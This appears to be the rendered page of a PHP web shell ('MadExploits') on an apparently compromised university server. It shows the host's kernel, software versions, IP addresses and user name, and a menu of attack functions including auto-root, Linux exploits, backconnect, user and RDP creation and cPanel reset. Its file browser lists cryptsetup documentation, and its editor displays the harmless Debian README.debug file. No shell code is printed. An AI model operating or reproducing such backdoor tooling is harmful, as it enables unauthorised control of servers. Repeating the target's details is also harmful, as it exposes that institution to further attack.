Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 18.119.192.221
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
cryptsetup /
[ HOME SHELL ]
Name
Size
Permission
Action
examples
[ DIR ]
drwxr-xr-x
AUTHORS
137
B
-rw-r--r--
FAQ.gz
42.4
KB
-rw-r--r--
Keyring.txt
2.66
KB
-rw-r--r--
LUKS2-locking.txt
2.65
KB
-rw-r--r--
NEWS.Debian.gz
1.03
KB
-rw-r--r--
README.Debian.gz
5.39
KB
-rw-r--r--
README.debug
2.67
KB
-rw-r--r--
README.gnupg
1.8
KB
-rw-r--r--
README.gnupg-sc
2.29
KB
-rw-r--r--
README.keyctl
3.5
KB
-rw-r--r--
README.opensc.gz
2.22
KB
-rw-r--r--
changelog.Debian.gz
2.01
KB
-rw-r--r--
copyright
8.5
KB
-rw-r--r--
v1.0.7-ReleaseNotes
2.85
KB
-rw-r--r--
v1.1.0-ReleaseNotes.gz
2.22
KB
-rw-r--r--
v1.1.1-ReleaseNotes
1.75
KB
-rw-r--r--
v1.1.2-ReleaseNotes
1.56
KB
-rw-r--r--
v1.1.3-ReleaseNotes
482
B
-rw-r--r--
v1.2.0-ReleaseNotes.gz
2.07
KB
-rw-r--r--
v1.3.0-ReleaseNotes.gz
2.08
KB
-rw-r--r--
v1.3.1-ReleaseNotes
421
B
-rw-r--r--
v1.4.0-ReleaseNotes.gz
2.2
KB
-rw-r--r--
v1.4.1-ReleaseNotes
889
B
-rw-r--r--
v1.4.2-ReleaseNotes
1.59
KB
-rw-r--r--
v1.4.3-ReleaseNotes
2.3
KB
-rw-r--r--
v1.5.0-ReleaseNotes.gz
3.24
KB
-rw-r--r--
v1.5.1-ReleaseNotes
1.26
KB
-rw-r--r--
v1.6.0-ReleaseNotes.gz
3.73
KB
-rw-r--r--
v1.6.1-ReleaseNotes
1.02
KB
-rw-r--r--
v1.6.2-ReleaseNotes
985
B
-rw-r--r--
v1.6.3-ReleaseNotes
1.82
KB
-rw-r--r--
v1.6.4-ReleaseNotes
1.99
KB
-rw-r--r--
v1.6.5-ReleaseNotes
2.42
KB
-rw-r--r--
v1.6.6-ReleaseNotes
1.07
KB
-rw-r--r--
v1.6.7-ReleaseNotes
3.25
KB
-rw-r--r--
v1.6.8-ReleaseNotes
2.01
KB
-rw-r--r--
v1.7.0-ReleaseNotes
3.03
KB
-rw-r--r--
v1.7.1-ReleaseNotes
1.34
KB
-rw-r--r--
v1.7.2-ReleaseNotes
1.45
KB
-rw-r--r--
v1.7.3-ReleaseNotes
811
B
-rw-r--r--
v1.7.4-ReleaseNotes
657
B
-rw-r--r--
v1.7.5-ReleaseNotes
833
B
-rw-r--r--
v2.0.0-ReleaseNotes.gz
9.5
KB
-rw-r--r--
v2.0.1-ReleaseNotes.gz
2.17
KB
-rw-r--r--
v2.0.2-ReleaseNotes.gz
1.95
KB
-rw-r--r--
v2.0.3-ReleaseNotes.gz
2.39
KB
-rw-r--r--
v2.0.4-ReleaseNotes.gz
2.27
KB
-rw-r--r--
v2.0.5-ReleaseNotes.gz
2.02
KB
-rw-r--r--
v2.0.6-ReleaseNotes.gz
1.91
KB
-rw-r--r--
v2.1.0-ReleaseNotes.gz
3.4
KB
-rw-r--r--
v2.2.0-ReleaseNotes.gz
4.47
KB
-rw-r--r--
v2.2.1-ReleaseNotes
1.38
KB
-rw-r--r--
v2.2.2-ReleaseNotes
2.1
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.debug
Debugging Cryptsetup issues =========================== Cryptsetup is responsible for unlocking dm-crypt devices. The cryptsetup Debian provide a whole slew of helper scripts that integrate cryptsetup into the Debian operating system. The most important ones are the `cryptdisks` init script and the `cryptroot` initramfs scripts, both implementing support for the `/etc/crypttab` configuration file and for automatic unlocking of encrypted devices during the boot process. This page collects information on debugging different features of the Debian cryptsetup packages in case of problems. Debug cryptroot initramfs script -------------------------------- In order to debug the cryptroot initramfs script during initramfs stage, the following steps are required: * Boot into the initramfs rescue shell by adding `break=premount` as kernel option during boot In grub, this can be done interactively from the grub boot menu: `<E>` to edit, and `<Ctrl>+<X>` to boot once you've edited the kernel line. See <https://help.ubuntu.com/community/Grub2/Troubleshooting#Editing_the_GRUB_2_Menu_During_Boot> for details. * Append `-x` to the shebang (first line) of cryptroot initramfs script: sed -i -e '1s,^#!/bin/sh,& -x,' /scripts/local-top/cryptroot * Run the cryptroot initramfs script manually, redirecting output to a log file: /scripts/local-top/cryptroot 2>&1 | tee /run/initramfs/cryptroot.debug **Please note:** if the boot process is broken, you might need to mount an external storage device (e.g. a USB flash drive) inside the initramfs and redirect the output to a log files on this external device. * Continue the boot process (by pressing `<Ctrl>+<D>`) and save a copy of the debug log file to `/run/initramfs/cryptroot.debug`. The content of `/run/` will be lost after reboot. Sometimes, debugging the initramfs directly can be helpful as well. See <https://wiki.debian.org/InitramfsDebug#Saving_debug_information> for details. Gather debugging information in the initramfs rescue shell ---------------------------------------------------------- Useful commands to gather information from initramfs rescue shell: * Check for device-mapper support (these directories/symlinks exist only if kernel has device-mapper support): ls -l /sys/class/misc/device-mapper /sys/devices/virtual/misc/device-mapper * Check whether dm-crypt kernel module is loaded: lsmod | grep dm-crypt * Display cryptroot configuration and list loaded kernel modules: cat /cryptroot/crypttab lsmod * Gather information about the available block devices: blkid ls -l /dev/disk/by-*/ -- Jonas Meurer <jonas@freesources.org>, Wed 25 Dec 2019 02:58:00 PM CET
Close
